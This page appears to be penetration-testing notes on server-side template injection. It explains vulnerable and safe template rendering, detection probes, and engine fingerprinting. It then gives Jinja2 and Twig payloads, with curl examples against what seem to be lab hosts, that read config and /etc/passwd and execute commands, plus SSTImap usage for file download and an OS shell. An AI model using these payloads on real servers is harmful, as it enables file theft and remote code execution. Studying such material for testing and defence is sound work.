PRIMARY CATEGORY → WEB ATTACKS

Theory

Server-Side Template Injection ( SSTI ) is a vulnerability that occurs when a user-controlled input is incoporated into a server-side template before it’s parsed and rendered by the template engine

That is, when the user input is part of the template that is parsed and subsequently compiled, so any template expression that the user provides will be evaluated before rendering

Vulnerable

template = "Hello " + user_input
render(template)

e.g. User Input → {{ 7*7 }}

Parsed Template
Hello 49

In the other hand, if the user input is provided as values to the rendering function, the template engine can handle user input securely as it insert values into the corresponding places in the template

i.e. User input is provided to the rendering function in values and never in the template string

Not vulnerable

template = "Hello {{ name }}"
render(template, name=user_input)

So, in a nutshell →

  • The user controls the template that the engine will parse → SSTI

  • The user controls the data entered into the template → No SSTI

Depending on the template engine and its configuration, SSTI can allow an attacker to evaluate expressions, access internal objects or application data, read files, and in some cases achieve remote code execution on the server


Enumeration - Manual

Identifying an SSTI

As with other types of injections, the key point is to inject special characters with semantic meaning in template engines and observe the web application behavior

Therefore, we can send the payload below to test for SSTI on almost any template engine

${<{%[%'"}}%\.

For instance, we have a web application where we enter a name, and it displays that name in the response

Zoom in

If we enter the payload above instead of a simple string, we get an Internal Server Error in the response

Zoom in

Identifying the Template Engine

Just follow the diagram below from left to right until discovering the template engine used

Zoom in

Regarding the bottom part, in Jinja, the resulte will be 7777777, while in Twig, the result will be 49


Enumeration - Automated

Setup

git clone https://github.com/vladko312/SSTImap SSTImap
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

python3 sstimap.py -u '<TARGET>'

Exploiting an SSTI - Manual

Jinja2

The following TTPs apply when Flask is in use

Jinja is a template engine commonly used in Python web frameworks such as Flask or Django

Information Disclosure
  • Web Application Configuration
{{ config.items() }}

Zoom in

  • Available built-in functions
{{ self.__init__.__globals__.__builtins__ }}

Zoom in

Local File Inclusion

We can use the latest payload to call the open() function and disclose any file system content for which the user running the application has read permissions

{{ self.__init__.__globals__.__builtins__.open("<FILE>").read() }}

e.g.

curl --silent --location --request GET --get --data-urlencode 'name={{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}' 'http://154.57.164.82:32086'

Zoom in

Remote Code Execution

Following the same principle, we can achieve Remote Code Execution by leveraging functions provided by the os library, such as system() or popen()

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('<COMMAND>').read() }}

e.g.

curl --silent --location --request GET --get --data-urlencode 'name={{ self.__init__.__globals__.__builtins__.__import__("os").popen("id").read() }}' 'http://154.57.164.82:32086'

Zoom in

Twig

Twig is a template engine for the PHP programming language

Information Disclosure
  • Information about the current template
{{ _self }} # OR {{_self}}

Zoom in

Local File Inclusion

In principle, this is not possible using internal functions directly provided by Twig

However, the PHP web framework Symfony defines additional Twig filters, so we can leverage them to disclose any file sistem content for which the current user has read permissions

  • file_excerpt()
{{ "<FILE>"|file_excerpt(1,-1) }}

e.g.

curl --silent --location --request GET --get --data-urlencode 'name={{ "/etc/passwd"|file_excerpt(1,-1) }}' 'http://154.57.164.82:31857/index.php'

Zoom in

Remote Code Execution

We can simply use a PHP built-in function such as system()

{{ ['<COMMAND>'] | filter('<PHP_FUNCTION>') }}

e.g.

curl --silent --location --request GET --get --data-urlencode 'name={{ ["id"] | filter("system") }}' 'http://154.57.164.82:31857/index.php'

Zoom in


Exploiting an SSTI - Automated

File Disclosure

We can download a remote file to our local machine

Setup

git clone https://github.com/vladko312/SSTImap SSTImap
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

python3 sstimap.py -u '<TARGET>' -D '<REMOTE_FILE>' '<LOCAL_FILE>'
Remote Code Execution
Command Execution

Usage

python3 sstimap.py -u '<TARGET>' -S '<COMMAND>'
Interactive Shell

Usage

python3 sstimap.py -u '<TARGET>' --os-shell

Resources

PayloadAllTheThings: SSTI